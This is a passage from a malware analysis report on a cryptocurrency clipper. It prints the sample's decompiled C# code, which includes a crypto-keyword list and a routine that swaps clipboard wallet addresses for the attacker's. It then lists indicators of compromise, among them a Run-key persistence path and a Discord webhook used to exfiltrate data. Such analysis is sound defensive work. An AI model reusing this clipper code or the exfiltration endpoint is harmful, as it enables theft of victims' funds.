public static string[] CryptoServices = new string[]
{
    "bitcoin",
    "monero",
    "dashcoin",
    "litecoin",
    "etherium",
    "stellarcoin",
    "ltc",
    "eth",
    "xmr",
    "xlm",
    "xrp",
    "ltc",
    "bch",
    "blockchain",
    "paxful",
    "investopedia",
    "buybitcoinworldwide",
    "cryptocurrency",
    "crypto",
    "trade",
    "trading",
    "wallet",
    "coinomi",
    "coinbase"
};
The executable retrieves text data from the Clipboard and verifies if it contains any wallet addresses, which will be replaced by the threat actor’s wallet addresses:

```
public static void Replace()
{
    string clipboardText = ClipboardManager.ClipboardText;
    if (!string.IsNullOrEmpty(clipboardText))
    {
        return;
    }
    foreach (KeyValuePair<string, Regex> keyValuePair in RegexPatterns.PatternsList)
    {
        string key = keyValuePair.Key;
        if (keyValuePair.Value.Match(clipboardText).Success)
        {
            string text = Config.ClipperAddresses[key];
            if (!string.IsNullOrEmpty(text) && !text.Contains("...") && !clipboardText.Equals(text))
            {
                Clipboard.SetText(text);
                Logging.Log("Clipper replaced to ", text, true);
                break;
            }
        }
    }
}
```

Figure 112
Indicators of Compromise

SHA256
7B19B3064720EFA6A65F69C6187ABBD0B812BF9F91DDE70088AFBB693814C930

Files created
%LocalAppData%\<MD5 hash>*

Mutex
B0P2018UODTBXZ90M2YK

Registry key
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<Executable name>

URLs
http://icanhazip.com
http://ip-api.com/line/?fields=hosting
https://discord.com/api/webhooks/1060907354985615390/WCikcIDbosEe1Sq4SgGzLPOZKwdwAOgOav5Tr-U4jr2MRIuPAo8Tm1-B748x10ok4W1
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=